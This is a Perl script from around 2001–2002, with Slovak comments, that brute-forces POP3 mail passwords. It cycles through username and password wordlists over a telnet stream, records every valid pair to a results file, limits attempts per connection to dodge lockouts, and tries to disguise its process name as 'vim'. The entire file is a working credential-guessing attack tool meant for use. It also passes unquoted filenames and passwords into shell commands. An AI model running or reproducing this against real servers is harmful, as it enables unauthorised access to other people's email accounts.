#!/usr/bin/perl
use strict;
use IO::Handle;

# $Platon: popscan.pl,v 1.2 2002/02/04 15:04:50 host8 Exp $

#############################################################################
#                                                                           #
#  Skript sluziaci na skenovanie hesiel cez POP3 protokol. K svojej         #
#  cinnosti potrebuje nejaky stream redirector, najlepsi je nato program    #
#  extended pipeling. Pokial este nie je na freshmeat.net, tak Vam rad      # 
#  poskytnem nejaku funkcnu pracovnu verziu. Pouziva sa samozrejme v        #
#  kombinacii s tradicnym telnetom.                                         #
#                                                                           #
#  Toto su jeho vstupno/vystupne kanaly:                                    # 
#                                                                           #
#  STDIN - data od POP3 serveru                                             #
#  STDERR - prikazy pre POP3 server                                         #
#  STDOUT - debug info, vysledky, atd...                                    #
#                                                                           #
#                                              =Nepto= <neptunko@pobox.sk>  #
#                                                                           #
#  Updates:                                                                 #
#                                                                           #
#  21/1/2001 - initial release                                              #
#  26/8/2001 - added support for maximal attempt count                      #
#            - ability to turning off debugging messages                    #
#                                                                           #
#############################################################################

# Maximalny pocet pokusov pre jedno pripojenie
my $MAX_ATTEMPTS = 2;

# Debug
my $DEBUG = 0;

my $SESSION_BEGIN_STR = "Escape character";
my $SESSION_END_STR = "Connection closed by foreign host";


# Testovanie
#my $SESSION_BEGIN_STR = "BEGIN";
#my $SESSION_END_STR = "END";

#############################################################################

# Potrebujeme minimalne 3 argumenty na command line
if ($#ARGV < 2) {
	print("popscan.pl - POP3 protocol password scanner ");
	print(" - extended pipelineing (ep) script\n");
	print("Written and copyrights by Nepto <neptunko\@pobox.sk>\n");
	print("THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! ");
	print("USE AT YOUR OWN RISK!\n");
	printf("Usage: %s userfile passfile resultfile\n", $0);

	exit 1;
}

# Systemova inicializacia.
select(STDERR); $| = 1;     # make unbuffered
select(STDOUT); $| = 1;     # make unbuffered

#select(STDIN);
#$|=1;
#select(STDOUT);
#$|=1;
#select(STDERR);
#$|=1;

my $userfile = $ARGV[0];
my $passfile = $ARGV[1];
my $resultfile = $ARGV[2];

# Treba este doladit toto maskovanie. Toto tu dole nefunguje... :(
		$ARGV[-1] = "vim";
		$ARGV[0] = "proc.c";
		$ARGV[1] = "table.c";
		$ARGV[2] = "temp";

# Kontrola spravnosti zadanych suborov...
		(-R $userfile) || die("file '$userfile' is not readable; aborting");
		(-R $passfile) || die("file '$passfile' is not readable; aborting");

		open(handle, ">>$resultfile") || \
		die("cannot open file '$resultfile' for appending");
		close(handle);

		my $useridx = 0;
		my $passidx = 0;

		my @user = `echo \`cat $userfile | grep -v ^#\` | tr " " "\n"`;
		my @pass = `echo \`cat $passfile | grep -v ^#\` | tr " " "\n"`;

		chomp @user;
		chomp @pass;

print STDOUT $#user+1 . " usernames found in '$userfile'.\n";
print STDOUT $#pass+1 . " passwords found in '$passfile'.\n";

my $wait_for_init_ok = 0;
my $wait_for_user_ok = 0;
my $wait_for_pass_ok = 0;

my $attempt = 0;

while (<STDIN>) {
	chomp;
#print "Recieved: " . $_ ."\n";

	if ($wait_for_pass_ok) {
		if (/^\+OK/i) {
			print "Great! +OK recieved, password OK!\n";
			$wait_for_pass_ok = 0;

			print "Writing data to results file.\n" if $DEBUG;
			if (open(handle, ">>$resultfile")) {
				print handle "$user[$useridx]:$pass[$passidx]\n";
				close(handle);
				print "Data written.\n" if $DEBUG;
			}
			else {
				print "Cannot open file '$resultfile' for appending!\n";
				print "Trying to dump to file 'popscan.log'...\n";
				system("echo '$user[$useridx]:$pass[$passidx]' >> popscan.log");
			}

			print "So deleting user from list.\n" if $DEBUG;
			splice(@user, $useridx, 1);
# Kedze sme zmazali dany zaznam z pola, nepotrebujeme
# davat $useridx++
			print "Continuing on next username.\n" if $DEBUG;

			print "Now sending the quit command.\n" if $DEBUG;
			print STDERR "QUIT\n";

			print "Quit command sent, waiting for end of connection.\n" if $DEBUG;
		}
		elsif (/^-ERR/i) {
			print "-ERR recieved, continuing on next username.\n" if $DEBUG;
			$useridx++;
			$wait_for_pass_ok = 0;

			print "I must emulate initial string to force sending username.\n" if $DEBUG;
			$wait_for_init_ok = 1;
			$_ = "+OK";
		}
	}

	if ($wait_for_user_ok) {
		if (/^\+OK/i) {
			print "+OK recieved, username probably OK. :)\n" if $DEBUG;
			$wait_for_user_ok = 0;

			print "Now sending the password '$pass[$passidx]'.\n" if $DEBUG;
			print STDERR "PASS $pass[$passidx]\n";

			print "Password sent, now waiting for result.\n" if $DEBUG;
			$wait_for_pass_ok = 1;
			$attempt++;
		}
		elsif (/^-ERR/i) {
			print "-ERR recieved, bad user, deleting from list.\n" if $DEBUG;
			splice(@user, $useridx, 1);

# Kedze sme zmazali dany zaznam z pola, nepotrebujeme
# davat $useridx++
			print "Continuing on next username.\n" if $DEBUG;
			$wait_for_user_ok = 0;

			print "I must emulate initial string to force sending username.\n" if $DEBUG;
			$wait_for_init_ok = 1;
			$_ = "+OK";
		}
	}

	if ($wait_for_init_ok) {
		if (/^\+OK/i) {
			print "Initial +OK found.\n" if $DEBUG;
			$wait_for_init_ok = 0;

			if ($MAX_ATTEMPTS && $attempt >= $MAX_ATTEMPTS) {
				print "Maximal attempt count reached.\n" if $DEBUG;
				print "Sending the quit command.\n" if $DEBUG;
				print STDERR "QUIT\n";
			}
			
			if ($useridx > $#user) {
				if ($DEBUG) {
					print "That was last username, ";
					print "moving user index to beginning of list.\n";
				}
				$useridx = 0;

				print "Continuing on next password.\n" if $DEBUG;
				$passidx++;

				if ($DEBUG) {
					print "Now aplying the POP3 Antiscan Protecion Shift ";
					print "- (c) Neptunko :)\n";
				}

				print "Sending the quit command.\n" if $DEBUG;
				print STDERR "QUIT\n";

				if ($passidx > $#pass) {
					if ($DEBUG) {
						print "That was last password, ";
						print "aborting program.\n";
					}
					last;
				}
			}

			print "Now sending the username '$user[$useridx]'.\n" if $DEBUG;
			print STDERR "USER $user[$useridx]\n";

			print "Username sent, now waiting for +OK\n" if $DEBUG;
			$wait_for_user_ok = 1;
		}
		elsif (/^-ERR/i) {
			print "FATAL ERROR: I/O synchronization lost, ";
			print "-ERR recieved, +OK expected!\n";
			$wait_for_init_ok = 0;

			print "Now sending the quit command.\n" if $DEBUG;
			print STDERR "QUIT\n";
		}
	}

	if ($_ =~ /^$SESSION_BEGIN_STR/) {
		print "Session begins, now waiting for initial +OK\n" if $DEBUG;
		$wait_for_init_ok = 1;
		$attempt = 0;
	}

	if ($_ =~ /^$SESSION_END_STR/) {
		print "Session closed. Waiting for reconnect.\n" if $DEBUG;
		print STDERR "TMP\n";
		$wait_for_init_ok = 0;
		$wait_for_user_ok = 0;
		$wait_for_pass_ok = 0;
	}

}

print "Program aborted.\n";